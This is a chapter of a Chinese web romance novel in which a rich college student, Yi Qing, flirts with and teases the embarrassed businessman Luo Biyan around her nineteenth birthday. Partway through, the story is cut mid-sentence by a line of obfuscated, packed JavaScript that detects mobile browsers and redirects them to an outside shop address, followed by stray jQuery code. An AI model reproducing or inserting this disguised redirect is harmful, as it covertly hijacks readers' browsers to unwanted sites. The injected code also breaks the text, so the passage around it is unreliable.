成熟男人的壳子就这样碎了,罗毕言的脸浮起红血丝,他捂了捂嘴,往身边蹦,拉开与易青的距离。
“你怎么能这样?”
罗毕言的手握成拳,想伸手指责她,却迟迟没狠得下心。
易青摸着嘴唇,轻轻的一下,感觉不太出来触感。
她暧昧过不少人,可没有一个是真正有接触的,连拉手都没有,最深的关系停在聊天时男方小头发作说恶心人的话。
易青能接触的只有同龄和比她大的人,同龄人简直不能叫男人,只能称其为孩子,单纯又幼稚,要么是看她有钱,说上两句话就暗戳戳地向她要礼物,买鞋买球买电脑。
比她年龄大的,则是连恋爱都没谈上,就奢望与她结婚,分她家产。
易青看向罗毕言,他又是怎么样的呢?
“下次别这样了,有空再请你吃饭,我先走了,”罗毕言胡乱向后捋发,一次一次,很忙似的。
他打开门,逃走。
易青没忍得住,笑着往窗外看。
罗毕言说有空再请吃饭,然后接下来整整一个月都没了踪迹,这个人再没出现过,关于他的消息也很少。
易青的指甲长了,她剪掉它们,用锉刀打磨圆润。
这天下淅淅沥沥的斜雨,没有早八,有早十,易青慢悠悠到校门口,打算骑小电驴进校,找了一条街,没找见。
眼看要上课,无奈离去。
课间休息五分钟,易青听见同学聊天,他们说:“校门口的小电驴被偷了好几辆,街道派出所的人都挤出来了,全是报警的。”
那么,不难想了,易青的车肯定也是被偷之一。
她当然不缺小电驴的钱,但不能任人偷窃,下午派出所上班后,她赶紧登记备案。
之后都没课了,今天是易青的十九岁生日,晚上要回家庆生。
从派出所出来,一路都是被偷电驴的大学生,街道水泄不通,她拐了弯,从巷子离开。
“要么去派出所报警,要么赔钱,那是我们家要送人的缅玉,你说你没看见?那么大的盒子摆在架子上你能没看见?!”
巷子里有人在凶斥,易青原不想理睬,可听声音熟悉,是罗毕言。
他在指责一个中年男人,男人看起来有四五十岁,打扮朴素,脸上油脂分泌旺盛,第一眼的视感很差。
“小罗总,我真不是故意的,就是碰到它了而已,盒子都没砸开,怎么能是我弄碎的?万一它买回来就是碎的呢?而且那么多钱,我们家真的赔不起呀,我还有个妈要伺候,下面还有个要读书的儿……”
罗毕言应当刚应酬完,身上还是非常隆重的深色条纹西装,披一件勃垦第紫的大衣外套,显得人伟岸许多。整套熨帖高质感,肉眼可见的价格不菲。
竟然为了一盒子玉要去报警。
易青往前走,罗毕言看见她,匆忙将她扫视过,别了脸去,“真的是,怎么有你这样!你回去叫我姐姐和你说,我忙得很。”
他一手固定大衣衣领,快速离开,令人瞧见了当真以为是因为那盒玉的事而生气。
步伐越来越快,简直要飞起。
“下雨了跑什么,小心摔了,你这套衣服沾湿了就不能要了吧?”易青抓住罗毕言的大衣边。
“不能要了就不要了,一套衣服,能值几个钱?”他从她手里抢回衣边,“你也来派出所?”
“嗯,我电瓶车被偷了。”
“你?你还骑电瓶车?噗……”罗毕言拉开车门,一脚跨入,他真心想象不出来她骑小电驴的样子,一定很滑稽,“我真有事,晚点见面和你说话。”
易青不解,“晚点?”
“嗯,晚点。”
晚点即是晚上吃饭的时候,易青的每一年生日易家都会办两次,新历邀请朋友到家里聚餐,农历是单独留给易青自己过的。
今天是新历,易家请了很多多年的合作伙伴和关系亲近的友商,包括罗家。
罗家很给面子,罗氏一家人都来了,他们家不客气,送礼很实在,一张来自罗家出资的民营银行的大额支票。
罗毕言站在他妈妈身后,他姐姐给了单独的小礼物,他却没给。
聚餐间,大家喝酒聊天,易青借口透风,看了一眼罗毕言,往外走去。
她上到二楼,在螺旋梯的尽头站着,不久身后有脚步声。
她回过身,罗毕言正好踏上最后一节台阶,他脱掉大衣,挂在手臂,说:“原本要给你礼物,被打碎了,就下午那事儿,之后补给你。”
缅玉,易青兴趣不大,她摇头:“难得再买再挑。”
“你十九岁,不给点什么,我心里过不去。”
“我们熟么?”
她问到点上了,他们熟吗?
罗毕言沉默几秒,质问:“不熟你为什么亲我?”
“哈?”易青真没想到这么久了罗毕言还在惦记这事,“不是都说了,玩玩而已。”
亲他也仅是为了玩一下。
“我没听说能把亲嘴当玩的,”罗毕言声音变小了,近乎嘟囔,他又把大衣披上,抬腿往楼下走。
突然,易青伸手拉住他,他半侧身子,无论如何不肯正眼看她。
她道:“你不是明天过生?我也有礼物给你。”
他一听,彻底转了回来,又笑了,“什么东西?”
“你跟我过来就知道了。”
易青带罗毕言去她的房间,礼物袋放在她的电脑桌上,罗毕言不便进她房间,站在门口等她。
她招手:“进来,你是清朝人吗,还不能进别人卧室了?”
“……”
罗毕言进入。
礼物袋粉粉嫩嫩的,有一个立体的蝴蝶结丝带,她抬下巴,“喏,拆吧。”
“我明天生日,今天拆礼物么?明天你过来吃饭,我再当你面拆。”
“哪要那么多形式主义?请过来请过去,到处跑你不嫌麻烦?叫你拆你就拆了,磨叽得很,”易青不耐。
“行,行,”罗毕言迫于无奈,只得把礼物盒拿出来。
拆开一看,他登时就愣住了,脸上冒起滚烫的红,他张了张嘴巴,打起结巴,“你……你!易青,你!”
易青歪起头,“怎么了?”
“你认真的?”罗毕言把东西装回袋子,一股脑塞回易青手里,“这种事怎么能是玩玩?”
“你?”易青诧异睁大眼,“你不会是处/男吧?”
“你说什么!”罗毕言的大衣从肩上掉落,他慌忙捡起,转身逃跑。
易青回客席
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935583|211493||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,装作不经意地指她对面的空座位,问她妈妈,“那个人呢?”
“啊,你说小罗?他刚刚说临时有急事,先走了。”
“哦,什么事?”
“私事吧。”
易青卷起自己的发尾,在手指里绕环。
明天有课,易家离学校比较远,聚餐散会了,她便回学校那边的房子。
路过一家美发店,她无意一瞥,竟看见罗毕言坐在镜子前,染发师在给他染发。
易青立马推门入内,染发师没抬头,说:“您好,洗头剪发都要等一会儿哦。”
“我找人。”她说。
罗毕言突然浑身一震,挪动眼珠来瞄,只见易青大步到他面前。
她问:“不是有事才走?怎么到这儿来补发色了?”
“你懂什么?补发色也是大事,”罗毕言左看右看都不舒坦,索性把眼睛闭上,他看不见别人,别人就看不见他。
这家美发店价格高,品质好,大多是这所大学里比较有钱的学生来染头,很少会有罗毕言这样的社会人士出入。
易青看透了,直截了当:“你是准备在这里补完颜色过来找我吗?”
“……嗯,”罗毕言自知瞒不过。
“那等会上楼,我等你。”
罗毕言对自己的头发下得了狠手,漂染当家常便饭,他对他原生黑发有仇般的,稍微冒一点色,他立马就补色。
偶尔他有空,就自己给自己补了,偶尔累,就让人给弄。
美发这东西还真不是价格高就一定好,罗毕言吃过许多高端的亏。
补色快,罗毕言很快到易青家门前,犹豫着没按铃。
门自己开了。
眼前一幕,很古怪。
易青的头发竟然也变成了金色,罗毕言看得一愣一愣,笑了出来,“你头发怎么回事?”
“看你那么喜欢金发,想看看到底哪里吸引人,”易青用的一次性漂染膏,她不染发,黑发不上色,染出来的金色较深。
“没什么吸引人的,就是显白而已,看着亮眼,吸引别人的注意力,”罗毕言喜欢别人注视他的感觉。
他笑易青的头发,用手轻轻揉,她应该从未染过发,把额头都染上了色,沾着斑斑金色块。
笑着笑着,看见易青不苟言笑的神情,罗毕言忽然停住,收回放肆的手,藏在背后。
易青把人给唬住了,才缓缓发笑,她把他的大衣扯掉,“你已经很白了。”
她的一只手指勾开他的腰带,拉下裤边,露出小腹的皮肤。
好白,好白,藏在衣服下的地方比脸还白,衬得易青都有些黄。
罗毕言不自然地提臀,咽了咽喉,“我真是处/男,你别乱来,我不懂你们这些,敢那个我,小心我、我告诉你妈!”
一面羞愧难当,一面还可以大胆地说这种话,这就是罗毕言,易青很好奇的罗毕言。
她心不在焉地哦了声,给他把裤子拉上,“乱来?你不收我给的东西,都没法洗,还来什么来?”
她想了下,“我明天去你公司找你。”
罗毕言不知想到了什么,大惊失色,“不行!你敢来……敢来我就……”
就怎么样呢?色厉内荏半天,到最后竟连威胁的话都吐不出。